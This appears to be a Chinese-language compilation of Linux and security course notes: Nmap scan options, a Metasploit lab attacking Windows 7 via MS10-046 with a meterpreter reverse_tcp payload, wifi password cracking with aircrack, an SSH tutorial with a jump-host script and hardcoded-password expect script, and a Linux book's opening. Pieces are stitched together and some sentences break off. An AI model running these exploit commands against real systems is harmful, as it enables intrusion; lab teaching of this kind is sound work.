04 Linux常用工具使用

说明 ping扫描，Nmap在扫描端口时，默认都会使用ping扫描 简单列表扫描 使用PING主机方式 监测端口服务版本操作系统信息主机名等 半开扫描 TCP方式扫描，会在目标主机的日志中记录大批连接请求和错误信息。 UDP扫描，UDP扫描是不可靠的 这项高级的扫描方法通常用来穿过防火墙的规则集 秘密FIN数据包扫描、Xmas Tree、Null扫描模式 脚本扫描 全面系统检测、启用脚本检测、扫描等 启用远程操作系统检测，但可能存在误报 显示扫描过程，推荐使用 扫描之前不使用ping命令 指定端口，如“1-65535、1433、135、22、80、3389”等 帮助文档 针对TCP端口禁止动态扫描延迟超过10ms设置时间模板 读取主机列表，“-iL D:\iplist.txt” 将报告写入文件，分别是正常、XML、grepable 三种格式 路由跟踪扫描 按照脚本分类进行扫描 开启IPv6扫描
查找攻击Samba的模块
选择模块、设定攻击载荷
5.渗透实操：通过10-046漏洞攻击windows 7
对Wi数、配置监听地址
攻击载荷配置、开始攻击
本小节用到的命令 use exploit/windows/browser/ms10_046_shortcut_icon _dllloader set payload windows/meterpreter/reverse_tcp set SRVHOST 10.10.10.137 set RHOST 10.10.10.136 set LHOST 10.10.10.137
打开会话
基本操作20分
动手做20分 （重现）
动手做20分 （重构）
动手做20分 （迁移）
拓展20分 综合评价
评价指标及评价内容 部署KALI操作系统 开启SSH学习crunch密码工具 学习aircrack安全工具 使用NMAP工具 学习aircrack安全工具 破解 wifi密码 学习安全漏洞检测工具 攻击windows XP攻击windows 2003 攻击LINUX靶机攻击windows 7

linux神器strace解析除了⼈格以外，⼈最⼤的损失，莫过于失掉⾃信⼼了。

前⾔strace可以说是神器⼀般的存在了，对于研究代码调⽤，内核级调⽤、系统级调⽤有⾮常重要的作⽤。

打算了⼀周了，只有原⽂，⼀直没有梳理，拖延症犯了，今天加班把这个神器的官⽅翻译梳理⼀下。

安装 strace安装yum -y install strace验证[root@node01 ~]# stracestrace: must have PROG [ARGS] or -p PIDTry 'strace -h'for more information.安装成功，也可以使⽤man命令来查看其⽂档了。

strace功能概述⼀⾔以蔽之，它是⼀个⽤来追踪系统调⽤和信号的⼯具。

案例说明man⽂档中对其描述如下：In the simplest case strace runs the specified command until it exits. It intercepts and records the system calls which are called by a process and the sign received by a process. The name of each system call, its arguments and its return value are printed on standard error or to the file specified with the -o option.在最简单的情况下，strace运⾏指定的命令，直到它退出。

它拦截并记录由进程调⽤的系统调⽤和由进程接收的信号。

每个系统调⽤的名称、参数及其返回值都打印在标strace is a useful diagnostic, instructional, and debugging tool. System administrators, diagnosticians and trouble-shooters will find it invaluable for solving problem programs for which the source is not readily available since they do not need to be recompiled in order to trace them. Students, hackers and the overly-curious will great deal can be learned about a system and its system calls by tracing even ordinary programs. And programmers will find that since system calls and signals are happen at the user/kernel interface, a close examination of this boundary is very useful for bug isolation, sanity checking and attempting to capture race conditions.strace是⼀个有⽤的诊断、指导和调试⼯具。

linux系统ssh基本⽤法ssh协议1. ssh的基本⽤法## 连接远程登录ssh [选项] [⽤户名@]主机名或IP例:m01连接172.16.1.41的root⽤户[root@m01 ~]# ssh root@172.16.1.41 -p 22ssh的端⼝是22 -p ：指定端⼝#远程执⾏命令在172.16.1.41上⾯执⾏ls命令[root@nfs ~]# ssh root@172.16.1.41 ls# 以上两种都需要知道密码2. ssh的免密登录##1. ssh-keygen命令ssh-keygen命令是⽤来产⽣⼀对公共/私⼈⾝份验证密钥的。

这对⾝份验证密钥允许⼀个⽤户在不提供密码的情况下连接到⼀个远程系统上。

每个⽤户必须单独地产⽣密钥。

选项 -t ：指定所创建密钥的类型，在第⼀版的协议中可能的值是rsa1,⽽在第⼆版的协议中可能的值为dsa,ecdsa或rsa# 执⾏ssh-keygen命令[root@m01 ~]# ssh-keygenssh-keygen命令会在~/.ssh⽬录（⽤户的家⽬录中的.ssh⽬录）中⽣成id_rsa和id_rsa.pub两个密钥⽂件# 将密钥⽂件id_rsa.pub复制到远程ip的服务器实现免密登录[root@m01 ~]# ssh-copy-id -i /root/.ssh/id_rsa.pub root@172.16.1.31ssh-copy-id 命令加-i 选项将m01的id_rsa.pub密钥发送到172.16.1.31，这样以后就可以免密登录了# ssh 免密登录[root@m01 ~]# ssh root@172.16.1.41Last login: Mon May 11 16:23:35 2020 from 172.16.1.61[root@backup ~]### 2.编辑配置⽂件放⼊跳板机密钥# 创建/root/.ssh⽬录[root@nfs ~]# mkdir /root/.ssh# ⽬录授权700权限[root@nfs ~]# chmod 700 /root/.ssh# 编辑配置⽂件[root@nfs ~]# vim /root/.ssh/authorized_keys#查看配置⽂件内容有没有空⾏[root@nfs ~]# cat -A /root/.ssh/authorized_keysssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWiiQkJhlODst3y4332otd0YwQSrIAmDq0opz5cRr1QNofvbgWBoK9D20opkAGu8Fqr5LzqoALjbX73x6trZgPhWh7i0RO2qYAjxiZe7bX4HppqjCO3KlP9BnNTa0Uc0LIgko5aE2ips9nHyQHVl8xvc1g # 授权配置⽂件600权限[root@nfs ~]# chmod 600 /root/.ssh/authorized_keys# 使⽤m01远程连接nfs服务器[root@m01 .ssh]# ssh 172.16.1.31Last login: Tue May 12 03:59:14 2020 from 10.0.0.1抓包⼯具## 下载⽹址https:///download.html# 使⽤telnet协议登录telnet不能⽤root⽤户登录，必须使⽤普通⽤户# 下载telnet[root@web01 ~]# yum install -y telnet-server# 启动服务[root@web01 ~]# systemctl start telnet.socket# 查看端⼝[root@web01 ~]# netstat -lntup|grep 23tcp6 0 0 :::23 :::* LISTEN 1/systemd # 创建普通⽤户[root@web01 ~]# useradd wzh# 给密码[root@web01 ~]# passwd wzhChanging password for user wzh.New password:BAD PASSWORD: The password is a palindromeRetype new password:passwd: all authentication tokens updated successfully.# 连接# 打开wireshark，找到NAT8的⽹卡，输⼊telnet，然后⿏标右键追踪流ssh⽣产场景案例写脚本跳板机连接其他服务器# 此处复制粘贴曾⽼师⽂档脚本内容lb02=172.16.1.6web01=172.16.1.7web02=172.16.1.8web03=172.16.1.9nfs=172.16.1.31backup=172.16.1.41db01=172.16.1.51m01=172.16.1.61zabbix=172.16.1.71cat <<EOF+-------------------------+| 1) lb01 || 2) lb02 || 3) web01 || 4) web02 || 5) web03 || 6) nfs || 7) backup || 8) db01 || 9) m01 || 10) zabbix || h) help |+-------------------------+EOFread -p 'Please Input Number: ' numif [ $num -eq 1 ];thenssh root@$lb01elif [ $num -eq 2 ];thenssh root@$lb02elif [ $num -eq 3 ];thenssh root@$web01elif [ $num -eq 4 ];thenssh root@$web02elif [ $num -eq 5 ];thenssh root@$web03fi1. m01 10.0.0.61 克隆m012. 在m01上免密连接其他所有机器3.尝试写⼀个跳板机的脚本1.1 克隆m01 , 外⽹ip :10.0.0.61 内⽹ip ：172.16.1.61# 1.打开优化好的专门⽤来做克隆机器的模板机# 2.右键管理-克隆-下⼀步-从优化好的快照-创建连接克隆-虚拟机名称-存放虚拟机的⽬录-完成# 3.点击运⾏虚拟机-输⼊⽤户⾝份-密码-sh运⾏host_ip脚本-输⼊61-回车-m01-回车#脚本内容#!/bin/bashold_ip=`hostname -I|awk -F '[. ]+' '{print $4}'`read -p 'Please Input Your New IP: ' new_ipread -p 'Please Input Your New HostName: ' new_hsed -i "s#$old_ip#$new_ip#g" /etc/sysconfig/network-scripts/ifcfg-eth{0,1}hostnamectl set-hostname $new_hsystemctl restart network2.1在m01上免密连接其他机器# m01连接xshell，之后输⼊ssh-keygen获取密钥[root@backup ~]# ssh-keygenGenerating public/private rsa key pair.Enter file in which to save the key (/root/.ssh/id_rsa):Enter passphrase (empty for no passphrase):Enter same passphrase again:Your identification has been saved in /root/.ssh/id_rsa.Your public key has been saved in /root/.ssh/id_rsa.pub.The key fingerprint is:SHA256:/EqWyYEHa6Hopk1k3UwCb1wP11iM6nRev6SPGy+uvTU root@backupThe key's randomart image is:+---[RSA 2048]----+| . o .*. || + . +o o || = +.. || + *o*. . || + oo*oS. . || + ..o.= o || + * ooE. || = o oo=.. ||. . oo*=o |+----[SHA256]-----+#使⽤ssh-copy-id 命令把密钥传送给其他服务器[root@m01 .ssh]# ssh-copy-id -i /root/.ssh/id_rsa.pub root@172.16.1.8# 连接[root@m01 .ssh]# ssh 172.16.1.8Last login: Tue May 12 04:02:29 2020 from 172.16.1.61[root@web02 ~]## 连接其他服务器和上⾯命令相同，改⼀下后⾯的ip即可3.1尝试写⼀个跳板机的脚本# 复制曾⽼师⽂档lb02=172.16.1.6web01=172.16.1.7web02=172.16.1.8web03=172.16.1.9nfs=172.16.1.31backup=172.16.1.41db01=172.16.1.51m01=172.16.1.61zabbix=172.16.1.71cat <<EOF+-------------------------+| 1) lb01 || 2) lb02 || 3) web01 || 4) web02 || 5) web03 || 6) nfs || 7) backup || 8) db01 || 9) m01 || 10) zabbix || h) help |+-------------------------+EOFread -p 'Please Input Number: ' numif [ $num -eq 1 ];thenssh root@$lb01elif [ $num -eq 2 ];thenssh root@$lb02elif [ $num -eq 3 ];thenssh root@$web01elif [ $num -eq 4 ];thenssh root@$web02elif [ $num -eq 5 ];thenssh root@$web03fissh基础优化## 修改配置⽂件[root@m01 ~]# vim /etc/ssh/sshd_onfig1.1 修改端⼝端⼝范围1-65535，但是不能占⽤常⽤端⼝，建议修改为五位数的端⼝Port 555661.2 不允许root⽤户登录PermitRootLogin no1.3 禁⽌密码登录PasswordAuthentication no1.4 不使⽤DNS反向解析UseDNS no1.5 不使⽤GSSAPI认证GSSAPIAuthentication no# 名词反向解析：把IP解析成域名叫做反向解析，正向解析把域名解析成IP# 改完之后重启服务[root@m01 ~]# systemctl restart sshd## 免交互1.1 下载安装包[root@nfs ~]# yum install -y expect# 编辑脚本代替⼿敲，脚本复制曾⽼师⽂档#!/usr/bin/expectset ip 10.0.0.51set pass 123456set timeout 30spawn ssh root@$ipexpect {"(yes/no)" {send "yes\r"; exp_continue}"password:" {send "$pass\r"}}expect "root@*" {send "df -h\r"}expect "root@*" {send "exit\r"}expect eof# 下载安装包[root@nfs ~]# yum install -y sshpass#连接 -p：定密码。

第1章Linux简介与安装1991年荷兰赫尔辛基大学一名大二学生林纳斯·托瓦兹（Linus B. Torvalds）编写了Linux系统，并将其放在互联网上。

经过这20年的发展，Linux系统已经扩展到各个领域，从拥有成千上万个CPU的超级计算机到只有几个芯片组成的单片机，随处可见Linux系统的身影。

正是因为Linux的流行，笔者特意编写了此书，让读者可以更好地学习Linux。

本章主要涉及的知识点如下。

❑介绍Linux系统、主要发行版及Linux系统的优势等内容。

❑简述Linux系统中的存储及目录结构。

❑介绍VMware Workstation软件和虚拟化在企业中的应用。

❑以VMware虚拟机安装Linux操作系统为例，讲解Linux系统的安装过程及安装过程中的建议等内容。

1.1 Linux系统简介通常所说的Linux操作系统，是对使用Linux内核的一类操作系统的统称，这些操作系统的主要结构包括：Linux内核、人机交互程序、应用程序等。

本节将简单介绍Linux 的用途和优势。

说明：Linux内核是操作系统的核心部分，主要负责管理进程、存储设备和网络接口等。

无论何种操作系统，内核都至关重要，其决定了操作系统的许多性能指标。

小知识：Linux隶属于GNU（GNU’s Not UNIX）计划，该计划的目标是建立一个自由的操作系统，即自由地使用、复制、修改、发布操作系统及其中的软件。

GNU计划还包括许多软件，例如文本编辑器GNU Emacs、GCC等。

GNU/Linux操作系统通常被简称为Linux，如果没有特殊说明，本书中的Linux即指GNU/Linux。

1.1.1 Linux能做什么Linux究竟能为我们做些什么呢？这是每个用户都关心的问题。

目前Linux系统的应用主要分为桌面环境和企业环境两个方面，本小节将从这两个方面简单介绍Linux系统的应用。

1．桌面环境对于家庭用户而言，Linux提供了比较方便的KDE和GNOME桌面环境。